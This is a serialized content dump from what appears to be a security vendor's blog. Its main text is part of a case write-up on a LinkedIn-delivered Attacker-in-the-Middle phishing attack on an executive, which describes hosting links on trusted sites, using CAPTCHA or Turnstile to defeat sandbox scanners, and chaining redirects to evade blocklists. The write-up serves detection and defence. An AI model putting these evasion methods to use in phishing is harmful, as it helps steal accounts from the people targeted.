altogether. ",{"data":101005,"content":101006,"nodeType":866},{},[101007],{"data":101008,"marks":101009,"value":101010,"nodeType":865},{},[],"With modern work communications now happening over several platforms, sites like LinkedIn where users can be directly messaged by people outside the organization, but are often accessed from work devices, are a prime target. ",{"data":101012,"content":101013,"nodeType":1317},{},[101014],{"data":101015,"marks":101016,"value":101018,"nodeType":865},{},[101017],{"type":926},"Using legitimate, trusted sites to host links",{"data":101020,"content":101021,"nodeType":866},{},[101022,101026,101034],{"data":101023,"marks":101024,"value":101025,"nodeType":865},{},[],"Attackers are increasingly ",{"data":101027,"content":101028,"nodeType":889},{"uri":100099},[101029],{"data":101030,"marks":101031,"value":101033,"nodeType":865},{},[101032],{"type":943},"using legitimate sites to host their phishing links",{"data":101035,"marks":101036,"value":101037,"nodeType":865},{},[]," and perform redirections. Fronting phishing attacks with pages hosted on legitimate sites, in combination with lengthy redirect chains, can make it harder for security tools which rely on analysing the initial page served to the victim. In this example, Google Sites, Google Search, and Microsoft Dynamics were used. ",{"data":101039,"content":101040,"nodeType":1317},{},[101041],{"data":101042,"marks":101043,"value":101045,"nodeType":865},{},[101044],{"type":926},"Using bot protection to defeat sandbox analysis tools",{"data":101047,"content":101048,"nodeType":866},{},[101049,101053,101061],{"data":101050,"marks":101051,"value":101052,"nodeType":865},{},[],"Email and proxy security tools rely on loading a page in a web sandbox to analyze it for properties matching their detection signatures. However, dynamic elements that require user interaction to proceed are known to break these sandboxes. The most common way of attackers doing this is by ",{"data":101054,"content":101055,"nodeType":889},{"uri":96065},[101056],{"data":101057,"marks":101058,"value":101060,"nodeType":865},{},[101059],{"type":943},"using legitimate bot protection",{"data":101062,"marks":101063,"value":101064,"nodeType":865},{},[]," technologies such as CAPTCHA and CloudFlare Turnstile. ",{"data":101066,"content":101067,"nodeType":1317},{},[101068],{"data":101069,"marks":101070,"value":101072,"nodeType":865},{},[101071],{"type":926},"Performing layered redirects at different stages",{"data":101074,"content":101075,"nodeType":866},{},[101076,101080,101088],{"data":101077,"marks":101078,"value":101079,"nodeType":865},{},[],"As already mentioned, the ",{"data":101081,"content":101082,"nodeType":889},{"uri":38042},[101083],{"data":101084,"marks":101085,"value":101087,"nodeType":865},{},[101086],{"type":943},"chain of redirects",{"data":101089,"marks":101090,"value":101091,"nodeType":865},{},[]," across different sites was particularly notable in this case (you can see this in the timeline screenshot provided above). To maximize the lifespan of a malicious domain, attackers are known to use various redirection tricks (often though legit sites that are often excluded from scanning tools). Using several redirections before serving the malicious page to break referrer-based checks that are common in proxy solutions and prevent the initial URLs seeded out from being discovered. By obfuscating the initial URL delivered to victims, and both masking and rotating the phishing URLs, it is much harder for organizations to blocklist known-bad sites effectively.",{"data":101093,"content":101096,"nodeType":912},{"target":101094},{"sys":101095},{"id":67359,"type":909,"linkType":910},[],{"data":101098,"content":101099,"nodeType":972},{},[],{"data":101101,"content":101102,"nodeType":981},{},[101103],{"data":101104,"marks":101105,"value":101107,"nodeType":865},{},[101106],{"type":926},"Indicators of Compromise",{"data":101109,"content":101110,"nodeType":866},{},[101111],{"data":101112,"marks":101113,"value":101114,"nodeType":865},{},[],"Static IoCs are of limited value in this case due to the use of disposable pages designed to be used once and then rotated. In this case, the page hosting the malicious AITM kit has now been flagged by Google after being reported. This makes blocking specific malicious subdomains hosted on otherwise legitimate sites difficult. However, we have observed a consistent pattern in the attacks identified by Push:",{"data":101116,"content":101117,"nodeType":1616},{},[101118,101128,101138,101148],{"data":101119,"content":101120,"nodeType":1570},{},[101121],{"data":101122,"content":101123,"nodeType":866},{},[101124],{"data":101125,"marks":101126,"value":101127,"nodeType":865},{},[],"Phishing lure delivered over LinkedIn",{"data":101129,"content":101130,"nodeType":1570},{},[101131],{"data":101132,"content":101133,"nodeType":866},{},[101134],{"data":101135,"marks":101136,"value":101137,"nodeType":865},{},[],"Link to sites.google.com page (e.g. sites.google.com/view/\u003CINVESTMENTCOMPANY>-ai/home)",{"data":101139,"content":101140,"nodeType":1570},{},[101141],{"data":101142,"content":101143,"nodeType":866},{},[101144],{"data":101145,"marks":101146,"value":101147,"nodeType":865},{},[],"Link to Microsoft Dynamics page (e.g. [assets-usa.mkt].dynamics.com/...)",{"data":101149,"content":101150,"nodeType":1570},{},[101151],{"data":101152,"content":101153,"nodeType":866},{},[101154],{"data":101155,"marks":101156,"value":101157,"nodeType":865},{},[],"Link to (*).sa.com phishing page",{"data":101159,"content":101160,"nodeType":866},{},[101161],{"data":101162,"marks":101163,"value":101164,"nodeType":865},{},[],"Given the targeted nature of the attack, we recommend hunting for executive-level users accessing some combination of these URLs (and variants) in a short timespan.",{"data":101166,"content":101167,"nodeType":866},{},[101168],{"data":101169,"marks":101170,"value":101171,"nodeType":865},{},[],"We also recommend informing your executive team about the rise in LinkedIn phishing attacks and the specific nature of the investment opportunity lure.",{"data":101173,"content":101174,"nodeType":972},{},[],{"data":101176,"content":101177,"nodeType":981},{},[101178],{"data":101179,"marks":101180,"value":37911,"nodeType":865},{},[101181],{"type":926},{"data":101183,"content":101184,"nodeType":866},{},[101185],{"data":101186,"marks":101187,"value":101188,"nodeType":865},{},[],"There aren’t many more valuable accounts than those belonging to your company executives. Compromising a Google Workspace account doesn’t just give the attacker access to the Workspace tenant, emails, chat, etc. — it also grants access to any accounts on downstream apps configured for SSO. The blast radius of such a compromise is pretty widespread, giving plenty of scope for further exploitation for an attacker with a clear idea of what they want to achieve. ",{"data":101190,"content":101191,"nodeType":866},{},[101192,101196,101205,101208,101217,101221,101228],{"data":101193,"marks":101194,"value":101195,"nodeType":865},{},[],"In short, stopping this attack at the earliest opportunity was a significant benefit. Even if the attack had been later stopped following the compromise and the stolen account reset, unpicking the web of potentially compromised downstream accounts that may have been accessed and backdoored by the attacker (such as by configuring stealthy persistence mechanisms like ",{"data":101197,"content":101199,"nodeType":889},{"uri":101198},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md",[101200],{"data":101201,"marks":101202,"value":101204,"nodeType":865},{},[101203],{"type":943},"evil twin integrations",{"data":101206,"marks":101207,"value":2717,"nodeType":865},{},[],{"data":101209,"content":101211,"nodeType":889},{"uri":101210},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/api_keys/description.md",[101212],{"data":101213,"marks":101214,"value":101216,"nodeType":865},{},[101215],{"type":943},"API keys",{"data":101218,"marks":101219,"value":101220,"nodeType":865},{},[]," or other ",{"data":101222,"content":101223,"nodeType":889},{"uri":53259},[101224],{"data":101225,"marks":101226,"value":62154,"nodeType":865},{},[101227],{"type":943},{"data":101229,"marks":101230,"value":101231,"nodeType":865},{},[]," methods) presents a sizable overhead for the security team.     ",{"data":101233,"content":101234,"nodeType":972},{},[],{"data":101236,"content":101237,"nodeType":981},{},[101238],{"data":101239,"marks":101240,"value":2270,"nodeType":865},{},[101241],{"type":926},{"data":101243,"content":101244,"nodeType":866},{},[101245],{"data":101246,"marks":101247,"value":101248,"nodeType":865},{},[],"Two key features played a part in this detection, which you can read more about below:",{"data":101250,"content":101251,"nodeType":1616},{},[101252,101272],{"data":101253,"content":101254,"nodeType":1570},{},[101255],{"data":101256,"content":101257,"nodeType":866},{},[101258,101261,101269],{"data":101259,"marks":101260,"value":21,"nodeType":865},{},[],{"data":101262,"content":101263,"nodeType":889},{"uri":67880},[101264],{"data":101265,"marks":101266,"value":101268,"nodeType":865},{},[101267],{"type":943},"Phishing attack detection",{"data":101270,"marks":101271,"value":21,"nodeType":865},{},[],{"data":101273,"content":101274,"nodeType":1570},{},[101275],{"data":101276,"content":101277,"nodeType":866},{},[101278,101281,101290],{"data":101279,"marks":101280,"value":21,"nodeType":865},{},[],{"data":101282,"content":101284,"nodeType":889},{"uri":101283},"https://pushsecurity.com/blog/introducing-push-detections/",[101285],{"data":101286,"marks":101287,"value":101289,"nodeType":865},{},[101288],{"type":943},"Push detection and response capabilities inc. timeline visibility ",{"data":101291,"marks":101292,"value":21,"nodeType":865},{},[],{"data":101294,"content":101295,"nodeType":866},{},[101296,101300,101305,101309,101316],{"data":101297,"marks":101298,"value":101299,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks or rely on outdated domain TI feeds. The reason we detect these attacks (which make it through all the other layers of phishing protection) is that ",{"data":101301,"marks":101302,"value":101304,"nodeType":865},{},[101303],{"type":926},"Push sees what your users see",{"data":101306,"marks":101307,"value":101308,"nodeType":865},{},[],". It doesn’t matter what ",{"data":101310,"content":101311,"nodeType":889},{"uri":8862},[101312],{"data":101313,"marks":101314,"value":67317,"nodeType":865},{},[101315],{"type":943},{"data":101317,"marks":101318,"value":101319,"nodeType":865},{},[],", Push detects and blocks attacks by identifying the attack in real time, as the user loads the page in their web browser.",{"data":101321,"content":101322,"nodeType":866},{},[101323],{"data":101324,"marks":101325,"value":101326,"nodeType":865},{},[],"This isn’t all we do: Push’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, password spraying and session hijacking using stolen session tokens. You don’t need to wait until it all goes wrong — you can also use Push to find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your identity attack surface.",{"data":101328,"content":101329,"nodeType":866},{},[101330,101334,101341],{"data":101331,"marks":101332,"value":101333,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and stop attacks in the browser, ",{"data":101335,"content":101336,"nodeType":889},{"uri":16069},[101337],{"data":101338,"marks":101339,"value":11405,"nodeType":865},{},[101340],{"type":943},{"data":101342,"marks":101343,"value":1615,"nodeType":865},{},[],"How Push saved a company exec from a sophisticated Attacker-in-the-Middle phishing attack delivered via a LinkedIn direct message.","2025-09-08T00:00:00.000Z",{"items":101347},[101348,101350],{"sys":101349,"name":342},{"id":4642},{"sys":101351,"name":7796},{"id":7795},{"items":101353},[101354],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":101355},{"url":7804},"blog/analyzing-the-latest-sneaky2fa-phishing-page",{"json":101358},{"data":101359,"content":101360,"nodeType":1382},{},[101361],{"data":101362,"content":101363,"nodeType":866},{},[101364],{"data":101365,"marks":101366,"value":101367,"nodeType":865},{},[],"We recently came across an interesting phishing example indicating that the authors of the Sneaky2FA criminal Phishing-as-a-Service (PhaaS) kit have added Browser-in-the-Browser (BITB) functionality to their repertoire. Here’s what we found.",{"id":79710,"publishedAt":101369},"2026-08-12T11:53:33.874Z",{"items":101371},[101372,101374],{"sys":101373,"name":7796},{"id":7795},{"sys":101375,"name":342},{"id":4642},{"items":101377},[101378,101380,101382,101384,101386,101388,101390,101392,101394,101396],{"sys":101379,"name":279,"slug":280,"tier":31},{"id":276},{"sys":101381,"name":519,"slug":520,"tier":31},{"id":516},{"sys":101383,"name":342,"slug":343,"tier":31},{"id":339},{"sys":101385,"name":642,"slug":643,"tier":31},{"id":639},{"sys":101387,"name":261,"slug":262,"tier":45},{"id":258},{"sys":101389,"name":511,"slug":512,"tier":45},{"id":508},{"sys":101391,"name":466,"slug":467,"tier":45},{"id":463},{"sys":101393,"name":324,"slug":325,"tier":45},{"id":321},{"sys":101395,"name":571,"slug":572,"tier":45},{"id":568},{"sys":101397,"name":351,"slug":352,"tier":45},{"id":348},"6kmbbOsJHV-7MoJpFp91i8hNdfCdn_kcuVPtHp7-Ehg",{"id":101400,"title":53891,"authorsCollection":101401,"content":101406,"extension":228,"faqItemsCollection":102390,"faqTitle":59,"featured":6,"hashTags":59,"meta":102392,"metaTitle":102393,"ogImage":59,"postType":42959,"publishedDate":53893,"relatedBlogPostsCollection":102394,"slug":53894,"stem":104118,"subtitle":59,"summary":104119,"synopsis":53892,"sys":104130,"tagsCollection":104132,"topicsCollection":104138,"__hash__":104170},"blog/blog/scattered-lapsus-hunters.json",{"items":101402},[101403],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":101404,"profilePicture":101405},[30152],{"url":7804},{"json":101407,"links":102222},{"data":101408,"content":101409,"nodeType":1382},{},[101410,101416,101422,101428,101431,101438,101444,101450,101455,101461,101466,101482,101488,101498,101501,101508,101514,101527,101533,101543,101548,101551,101558,101565,101570,101578,101594,101602,101608,101616,101631,101639,101645,101653,101679,101687,101693,101701,101717,101722,101730,101736,101744,101777,101780,101787,101795,101811,101819,101825,101833,101859,101864,101872,101878,101883,101886,101893,101901,101907,101958,101963,101966,101973,101981,101987,101992,101995,102002,102008,102014,102074,102080,102135,102141,102144,102151,102157,102163,102168,102171,102178,102184,102190,102196],{"data":101411,"content":101412,"nodeType":866},{},[101413],{"data":101414,"marks":101415,"value":52959,"nodeType":865},{},[],{"data":101417,"content":101418,"nodeType":866},{},[101419],{"data":101420,"marks":101421,"value":52966,"nodeType":865},{},[],{"data":101423,"content":101424,"nodeType":866},{},[101425],{"data":101426,"marks":101427,"value":52973,"nodeType":865},{},[],{"data":101429,"content":101430,"nodeType":972},{},[],{"data":101432,"content":101433,"nodeType":981},{},[101434],{"data":101435,"marks":101436,"value":52984,"nodeType":865},{},[101437],{"type":926},{"data":101439,"content":101440,"nodeType":866},{},[101441],{"data":101442,"marks":101443,"value":52991,"nodeType":865},{},[],{"data":101445,"content":101446,"nodeType":866},{},[101447],{"data":101448,"marks":101449,"value":52998,"nodeType":865},{},[],{"data":101451,"content":101454,"nodeType":912},{"target":101452},{"sys":101453},{"id":53003,"type":909,"linkType":910},[],{"data":101456,"content":101457,"nodeType":866},{},[101458],{"data":101459,"marks":101460,"value":53011,"nodeType":865},{},[],{"data":101462,"content":101465,"nodeType":912},{"target":101463},{"sys":101464},{"id":53016,"type":909,"linkType":910},[],{"data":101467,"content":101468,"nodeType":866},{},[101469,101472,101479],{"data":101470,"marks":101471,"value":53024,"nodeType":865},{},[],{"data":101473,"content":101474,"nodeType":889},{"uri":15501},[101475],{"data":101476,"marks":101477,"value":53032,"nodeType":865},{},[101478],{"type":943},{"data":101480,"marks":101481,"value":53036,"nodeType":865},{},[],{"data":101483,"content":101484,"nodeType":866},{},[101485],{"data":101486,"marks":101487,"value":53043,"nodeType":865},{},[],{"data":101489,"content":101490,"nodeType":866},{},[101491,101494],{"data":101492,"marks":101493,"value":53050,"nodeType":865},{},[],{"data":101495,"marks":101496,"value":53055,"nodeType":865},{},[101497],{"type":926},{"data":101499,"content":101500,"nodeType":972},{},[],{"data":101502,"content":101503,"nodeType":981},{},[101504],{"data":101505,"marks":101506,"value":53066,"nodeType":865},{},[101507],{"type":926},{"data":101509,"content":101510,"nodeType":866},{},[101511],{"data":101512,"marks":101513,"value":53073,"nodeType":865},{},[],{"data":101515,"content":101516,"nodeType":866},{},[101517,101520,101524],{"data":101518,"marks":101519,"value":53080,"nodeType":865},{},[],{"data":101521,"marks":101522,"value":53085,"nodeType":865},{},[101523],{"type":926},{"data":101525,"marks":101526,"value":53089,"nodeType":865},{},[],{"data":101528,"content":101529,"nodeType":866},{},[101530],{"data":101531,"marks":101532,"value":53096,"nodeType":865},{},[],{"data":101534,"content":101535,"nodeType":866},{},[101536,101539],{"data":101537,"marks":101538,"value":53103,"nodeType":865},{},[],{"data":101540,"marks":101541,"value":53108,"nodeType":865},{},[101542],{"type":926},{"data":101544,"content":101547,"nodeType":912},{"target":101545},{"sys":101546},{"id":53113,"type":909,"linkType":910},[],{"data":101549,"content":101550,"nodeType":972},{},[],{"data":101552,"content":101553,"nodeType":981},{},[101554],{"data":101555,"marks":101556,"value":53125,"nodeType":865},{},[101557],{"type":926},{"data":101559,"content":101560,"nodeType":1317},{},[101561],{"data":101562,"marks":101563,"value":53133,"nodeType":865},{},[101564],{"type":926},{"data":101566,"content":101569,"nodeType":912},{"target":101567},{"sys":101568},{"id":53138,"type":909,"linkType":910},[],{"data":101571,"content":101572,"nodeType":866},{},[101573],{"data":101574,"marks":101575,"value":53148,"nodeType":865},{},[101576,101577],{"type":926},{"type":943},{"data":101579,"content":101580,"nodeType":866},{},[101581,101584,101591],{"data":101582,"marks":101583,"value":53155,"nodeType":865},{},[],{"data":101585,"content":101586,"nodeType":889},{"uri":53158},[101587],{"data":101588,"marks":101589,"value":53164,"nodeType":865},{},[101590],{"type":943},{"data":101592,"marks":101593,"value":53168,"nodeType":865},{},[],{"data":101595,"content":101596,"nodeType":866},{},[101597],{"data":101598,"marks":101599,"value":53177,"nodeType":865},{},[101600,101601],{"type":926},{"type":943},{"data":101603,"content":101604,"nodeType":866},{},[101605],{"data":101606,"marks":101607,"value":53184,"nodeType":865},{},[],{"data":101609,"content":101610,"nodeType":866},{},[101611],{"data":101612,"marks":101613,"value":53193,"nodeType":865},{},[101614,101615],{"type":926},{"type":943},{"data":101617,"content":101618,"nodeType":866},{},[101619,101622,101628],{"data":101620,"marks":101621,"value":53200,"nodeType":865},{},[],{"data":101623,"content":101624,"nodeType":889},{"uri":53203},[101625],{"data":101626,"marks":101627,"value":53208,"nodeType":865},{},[],{"data":101629,"marks":101630,"value":53212,"nodeType":865},{},[],{"data":101632,"content":101633,"nodeType":866},{},[101634],{"data":101635,"marks":101636,"value":53221,"nodeType":865},{},[101637,101638],{"type":926},{"type":943},{"data":101640,"content":101641,"nodeType":866},{},[101642],{"data":101643,"marks":101644,"value":53228,"nodeType":865},{},[],{"data":101646,"content":101647,"nodeType":866},{},[101648],{"data":101649,"marks":101650,"value":53237,"nodeType":865},{},[101651,101652],{"type":926},{"type":943},{"data":101654,"content":101655,"nodeType":866},{},[101656,101659,101666,101669,101676],{"data":101657,"marks":101658,"value":53244,"nodeType":865},{},[],{"data":101660,"content":101661,"nodeType":889},{"uri":3488},[101662],{"data":101663,"marks":101664,"value":53252,"nodeType":865},{},[101665],{"type":943},{"data":101667,"marks":101668,"value":53256,"nodeType":865},{},[],{"data":101670,"content":101671,"nodeType":889},{"uri":53259},[101672],{"data":101673,"marks":101674,"value":6715,"nodeType":865},{},[101675],{"type":943},{"data":101677,"marks":101678,"value":53268,"nodeType":865},{},[],{"data":101680,"content":101681,"nodeType":866},{},[101682],{"data":101683,"marks":101684,"value":53277,"nodeType":865},{},[101685,101686],{"type":926},{"type":943},{"data":101688,"content":101689,"nodeType":866},{},[101690],{"data":101691,"marks":101692,"value":53284,"nodeType":865},{},[],{"data":101694,"content":101695,"nodeType":866},{},[101696],{"data":101697,"marks":101698,"value":53293,"nodeType":865},{},[101699,101700],{"type":926},{"type":943},{"data":101702,"content":101703,"nodeType":866},{},[101704,101707,101714],{"data":101705,"marks":101706,"value":53300,"nodeType":865},{},[],{"data":101708,"content":101709,"nodeType":889},{"uri":53259},[101710],{"data":101711,"marks":101712,"value":6715,"nodeType":865},{},[101713],{"type":943},{"data":101715,"marks":101716,"value":53311,"nodeType":865},{},[],{"data":101718,"content":101721,"nodeType":912},{"target":101719},{"sys":101720},{"id":53316,"type":909,"linkType":910},[],{"data":101723,"content":101724,"nodeType":866},{},[101725],{"data":101726,"marks":101727,"value":53326,"nodeType":865},{},[101728,101729],{"type":926},{"type":943},{"data":101731,"content":101732,"nodeType":866},{},[101733],{"data":101734,"marks":101735,"value":53333,"nodeType":865},{},[],{"data":101737,"content":101738,"nodeType":866},{},[101739],{"data":101740,"marks":101741,"value":53342,"nodeType":865},{},[101742,101743],{"type":926},{"type":943},{"data":101745,"content":101746,"nodeType":866},{},[101747,101750,101756,101759,101765,101768,101774],{"data":101748,"marks":101749,"value":53349,"nodeType":865},{},[],{"data":101751,"content":101752,"nodeType":889},{"uri":53352},[101753],{"data":101754,"marks":101755,"value":53357,"nodeType":865},{},[],{"data":101757,"marks":101758,"value":4988,"nodeType":865},{},[],{"data":101760,"content":101761,"nodeType":889},{"uri":53363},[101762],{"data":101763,"marks":101764,"value":53368,"nodeType":865},{},[],{"data":101766,"marks":101767,"value":53372,"nodeType":865},{},[],{"data":101769,"content":101770,"nodeType":889},{"uri":13013},[101771],{"data":101772,"marks":101773,"value":53379,"nodeType":865},{},[],{"data":101775,"marks":101776,"value":53383,"nodeType":865},{},[],{"data":101778,"content":101779,"nodeType":972},{},[],{"data":101781,"content":101782,"nodeType":1317},{},[101783],{"data":101784,"marks":101785,"value":53394,"nodeType":865},{},[101786],{"type":926},{"data":101788,"content":101789,"nodeType":866},{},[101790],{"data":101791,"marks":101792,"value":53403,"nodeType":865},{},[101793,101794],{"type":926},{"type":943},{"data":101796,"content":101797,"nodeType":866},{},[101798,101801,101808],{"data":101799,"marks":101800,"value":53410,"nodeType":865},{},[],{"data":101802,"content":101803,"nodeType":889},{"uri":53413},[101804],{"data":101805,"marks":101806,"value":53419,"nodeType":865},{},[101807],{"type":943},{"data":101809,"marks":101810,"value":53423,"nodeType":865},{},[],{"data":101812,"content":101813,"nodeType":866},{},[101814],{"data":101815,"marks":101816,"value":53432,"nodeType":865},{},[101817,101818],{"type":926},{"type":943},{"data":101820,"content":101821,"nodeType":866},{},[101822],{"data":101823,"marks":101824,"value":53439,"nodeType":865},{},[],{"data":101826,"content":101827,"nodeType":866},{},[101828],{"data":101829,"marks":101830,"value":53448,"nodeType":865},{},[101831,101832],{"type":926},{"type":943},{"data":101834,"content":101835,"nodeType":866},{},[101836,101839,101846,101849,101856],{"data":101837,"marks":101838,"value":53455,"nodeType":865},{},[],{"data":101840,"content":101841,"nodeType":889},{"uri":53458},[101842],{"data":101843,"marks":101844,"value":53464,"nodeType":865},{},[101845],{"type":943},{"data":101847,"marks":101848,"value":53468,"nodeType":865},{},[],{"data":101850,"content":101851,"nodeType":889},{"uri":53471},[101852],{"data":101853,"marks":101854,"value":53477,"nodeType":865},{},[101855],{"type":943},{"data":101857,"marks":101858,"value":53481,"nodeType":865},{},[],{"data":101860,"content":101863,"nodeType":912},{"target":101861},{"sys":101862},{"id":53486,"type":909,"linkType":910},[],{"data":101865,"content":101866,"nodeType":866},{},[101867],{"data":101868,"marks":101869,"value":53496,"nodeType":865},{},[101870,101871],{"type":926},{"type":943},{"data":101873,"content":101874,"nodeType":866},{},[101875],{"data":101876,"marks":101877,"value":53503,"nodeType":865},{},[],{"data":101879,"content":101882,"nodeType":912},{"target":101880},{"sys":101881},{"id":53508,"type":909,"linkType":910},[],{"data":101884,"content":101885,"nodeType":972},{},[],{"data":101887,"content":101888,"nodeType":1317},{},[101889],{"data":101890,"marks":101891,"value":694,"nodeType":865},{},[101892],{"type":926},{"data":101894,"content":101895,"nodeType":866},{},[101896],{"data":101897,"marks":101898,"value":53528,"nodeType":865},{},[101899,101900],{"type":926},{"type":943},{"data":101902,"content":101903,"nodeType":866},{},[101904],{"data":101905,"marks":101906,"value":53535,"nodeType":865},{},[],{"data":101908,"content":101909,"nodeType":1616},{},[101910,101923,101936],{"data":101911,"content":101912,"nodeType":1570},{},[101913],{"data":101914,"content":101915,"nodeType":866},{},[101916,101920],{"data":101917,"marks":101918,"value":53549,"nodeType":865},{},[101919],{"type":926},{"data":101921,"marks":101922,"value":53553,"nodeType":865},{},[],{"data":101924,"content":101925,"nodeType":1570},{},[101926],{"data":101927,"content":101928,"nodeType":866},{},[101929,101933],{"data":101930,"marks":101931,"value":53564,"nodeType":865},{},[101932],{"type":926},{"data":101934,"marks":101935,"value":53568,"nodeType":865},{},[],{"data":101937,"content":101938,"nodeType":1570},{},[101939],{"data":101940,"content":101941,"nodeType":866},{},[101942,101946,101949,101955],{"data":101943,"marks":101944,"value":53579,"nodeType":865},{},[101945],{"type":926},{"data":101947,"marks":101948,"value":53583,"nodeType":865},{},[],{"data":101950,"content":101951,"nodeType":889},{"uri":40710},[101952],{"data":101953,"marks":101954,"value":53590,"nodeType":865},{},[],{"data":101956,"marks":101957,"value":53594,"nodeType":865},{},[],{"data":101959,"content":101962,"nodeType":912},{"target":101960},{"sys":101961},{"id":53599,"type":909,"linkType":910},[],{"data":101964,"content":101965,"nodeType":972},{},[],{"data":101967,"content":101968,"nodeType":1317},{},[101969],{"data":101970,"marks":101971,"value":699,"nodeType":865},{},[101972],{"type":926},{"data":101974,"content":101975,"nodeType":866},{},[101976],{"data":101977,"marks":101978,"value":53619,"nodeType":865},{},[101979,101980],{"type":926},{"type":943},{"data":101982,"content":101983,"nodeType":866},{},[101984],{"data":101985,"marks":101986,"value":53626,"nodeType":865},{},[],{"data":101988,"content":101991,"nodeType":912},{"target":101989},{"sys":101990},{"id":53631,"type":909,"linkType":910},[],{"data":101993,"content":101994,"nodeType":972},{},[],{"data":101996,"content":101997,"nodeType":981},{},[101998],{"data":101999,"marks":102000,"value":14026,"nodeType":865},{},[102001],{"type":926},{"data":102003,"content":102004,"nodeType":866},{},[102005],{"data":102006,"marks":102007,"value":53649,"nodeType":865},{},[],{"data":102009,"content":102010,"nodeType":866},{},[102011],{"data":102012,"marks":102013,"value":53656,"nodeType":865},{},[],{"data":102015,"content":102016,"nodeType":1616},{},[102017,102036,102055],{"data":102018,"content":102019,"nodeType":1570},{},[102020],{"data":102021,"content":102022,"nodeType":866},{},[102023,102026,102033],{"data":102024,"marks":102025,"value":53669,"nodeType":865},{},[],{"data":102027,"content":102028,"nodeType":889},{"uri":53672},[102029],{"data":102030,"marks":102031,"value":8641,"nodeType":865},{},[102032],{"type":943},{"data":102034,"marks":102035,"value":53681,"nodeType":865},{},[],{"data":102037,"content":102038,"nodeType":1570},{},[102039],{"data":102040,"content":102041,"nodeType":866},{},[102042,102045,102052],{"data":102043,"marks":102044,"value":53691,"nodeType":865},{},[],{"data":102046,"content":102047,"nodeType":889},{"uri":53694},[102048],{"data":102049,"marks":102050,"value":53700,"nodeType":865},{},[102051],{"type":943},{"data":102053,"marks":102054,"value":53681,"nodeType":865},{},[],{"data":102056,"content":102057,"nodeType":1570},{},[102058],{"data":102059,"content":102060,"nodeType":866},{},[102061,102064,102071],{"data":102062,"marks":102063,"value":53713,"nodeType":865},{},[],{"data":102065,"content":102066,"nodeType":889},{"uri":1063},[102067],{"data":102068,"marks":102069,"value":53721,"nodeType":865},{},[102070],{"type":943},{"data":102072,"marks":102073,"value":53681,"nodeType":865},{},[],{"data":102075,"content":102076,"nodeType":866},{},[102077],{"data":102078,"marks":102079,"value":53731,"nodeType":865},{},[],{"data":102081,"content":102082,"nodeType":1616},{},[102083,102096,102109,102122],{"data":102084,"content":102085,"nodeType":1570},{},[102086],{"data":102087,"content":102088,"nodeType":866},{},[102089,102093],{"data":102090,"marks":102091,"value":53745,"nodeType":865},{},[102092],{"type":926},{"data":102094,"marks":102095,"value":53749,"nodeType":865},{},[],{"data":102097,"content":102098,"nodeType":1570},{},[102099],{"data":102100,"content":102101,"nodeType":866},{},[102102,102106],{"data":102103,"marks":102104,"value":53760,"nodeType":865},{},[102105],{"type":926},{"data":102107,"marks":102108,"value":53764,"nodeType":865},{},[],{"data":102110,"content":102111,"nodeType":1570},{},[102112],{"data":102113,"content":102114,"nodeType":866},{},[102115,102119],{"data":102116,"marks":102117,"value":53775,"nodeType":865},{},[102118],{"type":926},{"data":102120,"marks":102121,"value":53779,"nodeType":865},{},[],{"data":102123,"content":102124,"nodeType":1570},{},[102125],{"data":102126,"content":102127,"nodeType":866},{},[102128,102132],{"data":102129,"marks":102130,"value":53790,"nodeType":865},{},[102131],{"type":926},{"data":102133,"marks":102134,"value":53794,"nodeType":865},{},[],{"data":102136,"content":102137,"nodeType":866},{},[102138],{"data":102139,"marks":102140,"value":53801,"nodeType":865},{},[],{"data":102142,"content":102143,"nodeType":972},{},[],{"data":102145,"content":102146,"nodeType":981},{},[102147],{"data":102148,"marks":102149,"value":53812,"nodeType":865},{},[102150],{"type":926},{"data":102152,"content":102153,"nodeType":866},{},[102154],{"data":102155,"marks":102156,"value":53819,"nodeType":865},{},[],{"data":102158,"content":102159,"nodeType":866},{},[102160],{"data":102161,"marks":102162,"value":53826,"nodeType":865},{},[],{"data":102164,"content":102167,"nodeType":912},{"target":102165},{"sys":102166},{"id":53831,"type":909,"linkType":910},[],{"data":102169,"content":102170,"nodeType":972},{},[],{"data":102172,"content":102173,"nodeType":981},{},[102174],{"data":102175,"marks":102176,"value":6331,"nodeType":865},{},[102177],{"type":926},{"data":102179,"content":102180,"nodeType":866},{},[102181],{"data":102182,"marks":102183,"value":53849,"nodeType":865},{},[],{"data":102185,"content":102186,"nodeType":866},{},[102187],{"data":102188,"marks":102189,"value":53856,"nodeType":865},{},[],{"data":102191,"content":102192,"nodeType":866},{},[102193],{"data":102194,"marks":102195,"value":53863,"nodeType":865},{},[],{"data":102197,"content":102198,"nodeType":866},{},[102199,102202,102209,102212,102219],{"data":102200,"marks":102201,"value":11372,"nodeType":865},{},[],{"data":102203,"content":102204,"nodeType":889},{"uri":11375},[102205],{"data":102206,"marks":102207,"value":11381,"nodeType":865},{},[102208],{"type":943},{"data":102210,"marks":102211,"value":53880,"nodeType":865},{},[],{"data":102213,"content":102214,"nodeType":889},{"uri":1372},[102215],{"data":102216,"marks":102217,"value":11405,"nodeType":865},{},[102218],{"type":943},{"data":102220,"marks":102221,"value":1615,"nodeType":865},{},[],{"entries":102223},{"hyperlink":102224,"inline":102225,"block":102226},[],[],[102227,102241,102255,102258,102284,102298,102312,102337,102351,102365],{"sys":102228,"__typename":5503,"content":102229,"name":102240,"title":59},{"id":53003},{"json":102230},{"nodeType":1382,"data":102231,"content":102232},{},[102233],{"nodeType":866,"data":102234,"content":102235},{},[102236],{"nodeType":865,"value":102237,"marks":102238,"data":102239},"The MGM hack resulted in a 36-hour outage, a $100M hit to its Q3 results, one-time cyber consulting fees in the region of $10M, and a class-action lawsuit later settled for $45M. Less is known about Caesars, except that a ransom of $15M was paid in an attempt to prevent stolen data being leaked online.",[],{},"SLH insight box 